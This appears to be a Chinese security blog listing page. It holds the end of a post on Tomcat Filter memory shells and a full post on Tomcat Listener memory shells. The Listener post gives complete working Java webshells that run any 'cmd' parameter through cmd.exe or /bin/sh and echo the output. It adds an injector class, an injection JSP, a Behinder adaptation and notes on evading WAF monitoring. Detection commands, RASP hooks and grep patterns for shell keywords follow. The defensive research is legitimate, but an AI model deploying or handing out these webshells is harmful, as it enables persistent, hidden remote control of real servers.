4. 内存马持久化运行,磁盘无残留

5.4 Spring Boot Actuator 环境修改

通过 /actuator/env 端点修改 logging 配置,注入恶意 XML 触发代码执行后注册内存马。


六、检测方式

6.1 JMX 检查

# 连接本地 JMX
jconsole

# 或使用 jcmd 列出 MBean
jcmd <pid> ManagementAgent.start_local

通过 JMX 查看 Catalina:type=Context 下的 filterDefs 和 filterMaps 属性。

6.2 Arthas 在线查杀

# 启动 Arthas
java -jar arthas-boot.jar

# 查看所有的 Filter
vmtool --action getInstances --className org.apache.tomcat.util.descriptor.web.FilterDef --limit 50

# 查看 StandardContext 中的 filterDefs
ognl '@org.apache.catalina.core.StandardContext@filterDefs'

# 使用 sc 搜索可疑 Filter
sc *.Filter*

6.3 JVM 内存分析

# dump 内存
jmap -dump:format=b,file=heapdump.hprof <pid>

# 使用 MAT / VisualVM 分析
# 搜索 FilterDef / ApplicationFilterConfig 对象

6.4 Java Agent 检测脚本

// 通过 agent 监控 Context 的 filterDefs 变化
public class FilterMonitor implements ClassFileTransformer {
    @Override
    public byte[] transform(...) {
        // 监控 Context.addFilterDef() 和 Context.addFilterMap() 方法
        // 记录非启动阶段的调用
    }
}

七、防御建议

7.1 运行时防御

层面 措施 说明
JVM 层 部署 RASP 监控反射调用 addFilterDef / addFilterMap
容器层 Security Manager 限制反射访问 StandardContext 内部字段
系统层 WAF 检测请求参数中的命令注入特征

7.2 周期性巡检

# 1. 导出当前 Filter 列表
curl -s http://localhost:8080/manager/html/list  # 需要 manager 权限

# 2. 对比基线
diff baseline_filters.txt current_filters.txt

# 3. 检查可疑特征
grep -E "cmd|exec|Runtime|ProcessBuilder" WEB-INF/lib/*

7.3 开发规范

// 反序列化白名单
public class SafeObjectInputStream extends ObjectInputStream {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) {
        if (!isAllowed(desc.getName())) {
            throw new InvalidClassException("Unauthorized deserialization");
        }
        return super.resolveClass(desc);
    }
}

八、总结

Filter 内存马的核心在于理解 Tomcat 的 Filter 加载机制:

  1. 知道目标:StandardContext 中的 filterDefs、filterMaps、filterConfigs
  2. 获取入口:通过反射链获取 StandardContext 对象
  3. 动态注册:构造并插入 FilterDef + FilterMap
  4. 触发执行:恶意 Filter 拦截所有匹配的请求,实现持续控制

Filter 内存马的隐蔽性极高,传统的文件扫描、日志审计难以发现。防御的关键在于:

  • 事前:修复反序列化等 RCE 漏洞,切断注入入口
  • 事中:部署 RASP 进行运行时行为监控
  • 事后:周期性 JVM 内存取证,对比 Filter 基线
延伸阅读:Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat基础
阅读全文 »

Tomcat Listener 内存马

发表于 2025-12-27 | 分类于 漏洞分析 |

Listener 内存马

Listener(监听器)型内存马利用 Tomcat 的事件监听机制,在特定事件(如请求到达、Session 创建)触发时执行恶意代码。相比 Filter 和 Servlet 型内存马,Listener 型具有更高的隐蔽性 —— 大多数安全产品不监控 Listener 的注册行为。


一、Tomcat Listener 机制

1.1 什么是 Listener

Listener 是 Servlet 规范中的观察者模式实现,用于监听 Web 应用中的生命周期事件。Tomcat 容器在特定事件发生时,会调用已注册的 Listener 回调方法。

事件源(Event Source)          事件(Event)          监听器(Listener)
─────────────────────    ───────────────────    ────────────────────
Context 启动              ServletContextEvent    contextInitialized()
请求到达                  ServletRequestEvent    requestInitialized()
请求结束                  ServletRequestEvent    requestDestroyed()
Session 创建              HttpSessionEvent       sessionCreated()
Session 销毁              HttpSessionEvent       sessionDestroyed()
属性变更                  ServletContextAttributeEvent  attributeAdded()

1.2 Listener 类型总览

监听器接口 触发时机 适用场景
ServletContextListener 应用启动 / 关闭 一次性初始化逻辑
ServletRequestListener 每个请求到达 / 完成 每条请求都可触发 ← 内存马首选
HttpSessionListener Session 创建 / 销毁 隐蔽性好(低频触发)
ServletRequestAttributeListener 请求属性变更 特定场景
HttpSessionAttributeListener Session 属性变更 特定场景
ServletContextAttributeListener Context 属性变更 隐蔽性极高

1.3 Listener 的注册与调用流程

// StandardContext 中维护的 Listener 列表
public class StandardContext extends ContainerBase implements Context {
    // 应用级监听器(通过 web.xml 或 @WebListener 注册)
    private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
    
    // 生命周期监听器(框架内部使用)
    private List<Object> lifecycleListeners = new CopyOnWriteArrayList<>();
    
    // 添加监听器
    public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }
}

请求到达时的调用链:

CoyoteAdapter.service()
    → StandardEngineValve.invoke()
        → StandardHostValve.invoke()
            → StandardContextValve.invoke()
                → StandardWrapperValve.invoke()
                    → ApplicationFilterChain.doFilter()

关键点:ServletRequestListener.requestInitialized() 在 Filter 链之前调用,这意味着 Listener 的执行优先级高于 Filter。


二、动态注册原理

2.1 注册方式对比

注册方式 示例 动态性
web.xml <listener-class> 静态
注解 @WebListener 静态
代码调用 context.addApplicationEventListener() 动态 ← 攻击面

addApplicationEventListener() 方法是 public 的,不需要反射即可调用,是天然的内存马注入入口。

2.2 动态注册步骤

1. 编写恶意 Listener 类(实现 ServletRequestListener)
2. 获取 StandardContext 对象(反射链)
3. 调用 context.addApplicationEventListener(maliciousListener)
4. 无需额外配置 —— 下一个请求到达时自动触发

相比 Filter 内存马,Listener 内存马的注入步骤更少:

  • 不需要构造 FilterDef / FilterMap
  • 不需要手动创建 ApplicationFilterConfig
  • 不需要关心数组排序

三、完整代码实现

3.1 恶意 Listener 类(基础版)

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

/**
 * 基于 ServletRequestListener 的内存马
 * 每个 HTTP 请求都会触发 requestInitialized()
 */
public class ListenerMemShell implements ServletRequestListener {

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest servletRequest = sre.getServletRequest();
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        
        // 提取命令参数
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                // 执行命令
                Process process;
                if (System.getProperty("os.name").toLowerCase().contains("windows")) {
                    process = Runtime.getRuntime().exec(
                        new String[]{"cmd.exe", "/c", cmd});
                } else {
                    process = Runtime.getRuntime().exec(
                        new String[]{"/bin/sh", "-c", cmd});
                }

                // 读取命令输出
                InputStream inputStream = process.getInputStream();
                Scanner scanner = new Scanner(
                    inputStream, 
                    System.getProperty("sun.jnu.encoding")
                ).useDelimiter("\\A");
                String result = scanner.hasNext() ? scanner.next() : "";

                // 回显 —— 通过反射获取 Response 对象
                // 注意:servletRequest 实际类型是 RequestFacade
                // 需先获取内部 Request,再从中取 response 字段
                Field reqField = servletRequest.getClass()
                    .getDeclaredField("request");
                reqField.setAccessible(true);
                Object innerRequest = reqField.get(servletRequest);
                
                Field responseField = innerRequest.getClass()
                    .getDeclaredField("response");
                responseField.setAccessible(true);
                HttpServletResponse response = (HttpServletResponse)
                    responseField.get(innerRequest);

                response.getWriter().write("<pre>" + result + "</pre>");
                scanner.close();
            } catch (Exception ignored) {
                // 静默处理,不影响正常业务
            }
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        // 无需操作
    }
}

3.2 恶意 Listener 类(增强版 —— 多重监听器)

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

/**
 * 同时实现多个监听器接口,增加触发路径
 */
public class MultiListenerMemShell 
        implements ServletRequestListener, 
                   HttpSessionListener, 
                   ServletContextListener {

    // ===== ServletRequestListener =====
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        executeCommand(sre.getServletRequest());
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {}

    // ===== HttpSessionListener =====
    @Override
    public void sessionCreated(HttpSessionEvent se) {
        // Session 创建时:从 Session 属性中获取命令
        HttpSession session = se.getSession();
        String sessionCmd = (String) session.getAttribute("__cmd__");
        if (sessionCmd != null && !sessionCmd.isEmpty()) {
            executeCommand(sessionCmd);
            session.removeAttribute("__cmd__");
        }
    }

    @Override
    public void sessionDestroyed(HttpSessionEvent se) {}

    // ===== ServletContextListener =====
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        // 注入时机:如果能在此阶段注入,则后续所有请求都会被监听
        // 通常在动态注入场景下,此处不会执行(应用已启动完毕)
    }

    @Override
    public void contextDestroyed(ServletContextEvent sce) {}

    /**
     * 统一命令执行入口
     */
    private void executeCommand(ServletRequest request) {
        String cmd = request.getParameter("cmd");
        if (cmd == null || cmd.isEmpty()) return;

        try {
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream inputStream = process.getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
            String result = scanner.hasNext() ? scanner.next() : "";

            // 反射回显
            // 注意:request 实际类型是 RequestFacade,需先获取内部 Request
            Field reqField = request.getClass()
                .getDeclaredField("request");
            reqField.setAccessible(true);
            Object innerRequest = reqField.get(request);
            
            Field responseField = innerRequest.getClass()
                .getDeclaredField("response");
            responseField.setAccessible(true);
            HttpServletResponse response = (HttpServletResponse)
                responseField.get(innerRequest);
            
            // 确保响应未提交
            if (!response.isCommitted()) {
                response.getWriter().write("<pre>" + result + "</pre>");
            }
            scanner.close();
        } catch (Exception ignored) {
        }
    }

    /**
     * Session 场景的备用执行方法
     */
    private void executeCommand(String cmd) {
        try {
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream inputStream = process.getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
            String result = scanner.hasNext() ? scanner.next() : "No output";
            System.out.println("[ListenerShell] " + result);
            scanner.close();
        } catch (Exception ignored) {
        }
    }
}

3.3 注入器代码

import org.apache.catalina.core.StandardContext;
import java.lang.reflect.Field;

public class ListenerMemShellInjector {

    /**
     * 注入 Listener 内存马
     * 核心:调用 StandardContext.addApplicationEventListener()
     */
    public static void inject(StandardContext context) {
        // Step 1: 检查是否已注入(防重复)
        for (Object listener : context.getApplicationEventListeners()) {
            if (listener.getClass().getName()
                    .equals("ListenerMemShell")) {
                System.out.println("[!] Listener already injected.");
                return;
            }
        }

        // Step 2: 创建恶意 Listener 实例
        ListenerMemShell listener = new ListenerMemShell();

        // Step 3: 直接调用 public 方法注册(无需反射!)
        context.addApplicationEventListener(listener);

        System.out.println("[+] Listener memory shell injected.");
    }

    /**
     * 从 request 获取 StandardContext 并注入
     */
    public static void injectFromRequest(javax.servlet.ServletRequest request) 
            throws Exception {
        // 获取 StandardContext(与 Filter 篇相同方法)
        Field requestField = request.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        org.apache.catalina.connector.Request req = 
            (org.apache.catalina.connector.Request) requestField.get(request);
        StandardContext context = (StandardContext) req.getContext();
        
        inject(context);
    }
}

3.4 触发注入的 JSP

<%@ page import="org.apache.catalina.core.*" %>
<%
    try {
        // 获取 StandardContext
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();

        // 一行注册
        context.addApplicationEventListener(new ListenerMemShell());
        
        out.println("[+] Listener memory shell injected!");
        out.println("[+] Test: curl 'http://target/?cmd=whoami'");
    } catch (Exception e) {
        out.println("[-] Failed: " + e.getMessage());
    }
%>

四、代码详解

4.1 为什么 Listener 注入最简单?

// Filter 内存马注入步骤(多步反射)
FilterDef filterDef = new FilterDef();           // Step 1
filterDef.setFilterName(name);                   // Step 2
filterDef.setFilterClass(className);             // Step 3
context.addFilterDef(filterDef);                 // Step 4
FilterMap filterMap = new FilterMap();           // Step 5
filterMap.addURLPattern("/*");                   // Step 6
context.addFilterMap(filterMap);                 // Step 7
// 还需要反射创建 ApplicationFilterConfig...      // Step 8

// Listener 内存马注入(一步到位)
context.addApplicationEventListener(maliciousListener);  // DONE ✓

addApplicationEventListener() 是 Context 接口的 public 方法,直接可用,无需任何反射操作来辅助注册。

4.2 回显的技术细节

Listener 的 requestInitialized 方法只接收 ServletRequestEvent 参数,无法直接获取 HttpServletResponse。需要通过两步反射:

// Tomcat 内部结构
// ServletRequestEvent.getServletRequest() → RequestFacade
//   └── request 字段 → org.apache.catalina.connector.Request
//         └── response 字段 → org.apache.catalina.connector.Response

关键点:RequestFacade 只有 request 字段(指向内部 Request),没有 response 字段。getDeclaredField() 只查找当前类声明的字段,不会向上搜索父类。因此必须:

// Step 1: 从 RequestFacade 中取出内部 Request
Field reqField = servletRequest.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Object innerRequest = reqField.get(servletRequest);

// Step 2: 从内部 Request 中取出 Response
Field responseField = innerRequest.getClass().getDeclaredField("response");
responseField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) responseField.get(innerRequest);

4.3 防重复注入

// 检查当前已注册的 Listener
for (Object listener : context.getApplicationEventListeners()) {
    if (listener.getClass().getName().equals("ListenerMemShell")) {
        return; // 已注入
    }
}

4.4 三种内存马优先级关系

HTTP 请求到达
    ↓
① Listener.requestInitialized()    ← 最早执行
    ↓
② Filter.doFilter()                ← 中间拦截
    ↓
③ Servlet.service()                ← 最后处理

Listener 在所有组件中最先被调用,这意味着即使 Filter 链中抛出异常或返回错误,Listener 的逻辑也已执行完毕。


五、利用场景

5.1 反序列化 → Listener 注入(最隐蔽)

// 反序列化 payload 中的代码片段
// 优势:不修改 FilterDef / FilterMap / Wrapper,躲过绝大多数监控
StandardContext context = (StandardContext) request.getContext();
context.addApplicationEventListener(new ListenerMemShell());

5.2 绕过 Filter 监控型 WAF

WAF 监控:
  ✅ filterDefs 变化
  ✅ filterMaps 变化  
  ❌ applicationEventListenersList 变化(盲区)

攻击者 → 注入 Listener 内存马 → WAF 完全无感知

5.3 Session 型内存马(低频隐蔽通道)

不通过 URL 参数,而是通过 Session 属性传递命令:

// 访问一个普通页面(创建 Session)
GET /index.html
Cookie: JSESSIONID=ABC123

// 在 Session 中设置命令(通过其他漏洞,如反序列化)
session.setAttribute("__cmd__", "whoami");

// 再次访问,触发 session 事件(如 Session 过期重新创建)
// → sessionCreated() → 读取 __cmd__ → 执行 → 清除属性

这种方式不通过 URL 参数传递命令,流量特征极小。

5.4 冰蝎 / 哥斯拉适配

// 冰蝎 Listener 内存马适配
public class BehinderListenerMemShell implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        
        // 解析冰蝎加密数据
        String encryptedData = request.getHeader("X-BeHinder");
        if (encryptedData != null) {
            String decrypted = BehinderCrypto.decrypt(encryptedData);
            // ... 执行逻辑
        }
    }
}

六、检测方式

6.1 JMX 检查

# 查看所有应用事件监听器
jconsole → MBeans → Catalina → Context → /your-app
  → Operations → findApplicationListeners()

6.2 Arthas 在线排查

# 查看 StandardContext 中的监听器列表
vmtool --action getInstances \
  --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].applicationEventListenersList' \
  --limit 10

# 搜索实现了 Listener 接口的可疑类
sc *.*Listener

# 查看所有 ServletRequestListener 实例
vmtool --action getInstances \
  --className javax.servlet.ServletRequestListener \
  --express 'instances' \
  --limit 20

6.3 内存分析

# Dump 内存
jmap -dump:live,format=b,file=listener.hprof <pid>

# MAT 中搜索
# 1. 列出所有实现 ServletRequestListener 的实例
# 2. 检查类名是否在应用依赖中
# 3. 对比部署包中 web.xml 的监听器配置

6.4 运行时代码扫描

// 获取所有已注册监听器
for (Object listener : context.getApplicationEventListeners()) {
    String className = listener.getClass().getName();
    // 过滤标准库类
    if (className.startsWith("org.apache.") || 
        className.startsWith("org.springframework.")) {
        continue;
    }
    // 检查类来源(jar 包/动态生成)
    ProtectionDomain pd = listener.getClass().getProtectionDomain();
    CodeSource cs = pd.getCodeSource();
    System.out.println("[CHECK] " + className + " → " + cs.getLocation());
}

七、防御建议

层面 措施 说明
RASP Hook addApplicationEventListener() 监控非启动阶段的调用
JVM Agent 监控 applicationEventListenersList 的 add() 操作 捕获动态注入行为
Security Manager 限制反射访问 Request.response 字段 阻断回显通道
巡检脚本 定期对比 Listener 基线 发现异常监听器
// RASP Hook 示例:拦截 Listener 动态注册
@RuntimeType
public static void onAddEventListener(@This StandardContext context,
                                       @Argument(0) Object listener) {
    // 判断是否在启动阶段
    StackTraceElement[] stack = Thread.currentThread().getStackTrace();
    for (StackTraceElement frame : stack) {
        if (frame.getClassName().contains("ContextConfig")) {
            return; // 正常启动流程,放行
        }
    }
    // 非启动阶段的 addApplicationEventListener → 告警
    SecurityAlert.alert("Suspicious Listener registration", 
        listener.getClass().getName(), stack);
    throw new SecurityException("Runtime Listener injection blocked");
}

八、总结

Listener 内存马是三种 Tomcat 内存马中隐蔽性最高的一种:

特性 Filter Servlet Listener
注入难度 ⭐⭐⭐ ⭐⭐ ⭐(最简单)
触发时机 Filter 链 Servlet 处理 请求到达瞬间
隐蔽性 ⭐⭐⭐ ⭐⭐⭐⭐ ⭐⭐⭐⭐⭐(最高)
监控覆盖 常见 较少 极少

核心理由:

  1. context.addApplicationEventListener() 是 public 方法,无需反射
  2. Listener 在 Filter 之前执行,不受 Filter 链影响
  3. 大多数安全产品不监控 Listener 注册
  4. applicationEventListenersList 是 CopyOnWriteArrayList,可以随时安全地动态添加

攻击者偏好排序(综合隐蔽性与功能):

  1. Listener — 最隐蔽,最简单
  2. Filter — 最灵活,覆盖面最广
  3. Servlet — 备选通道,特定场景
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat基础
阅读全文 »
1 2
江流

江流

人生若只如初见,何事悲风秋画扇。

17 日志
13 分类
42 标签
RSS
GitHub 简书
Creative Commons
© 2019 - 2026 江流
由 Jekyll 强力驱动
主题 - NexT.Mist
本站访问数 人次 本站总访问量 次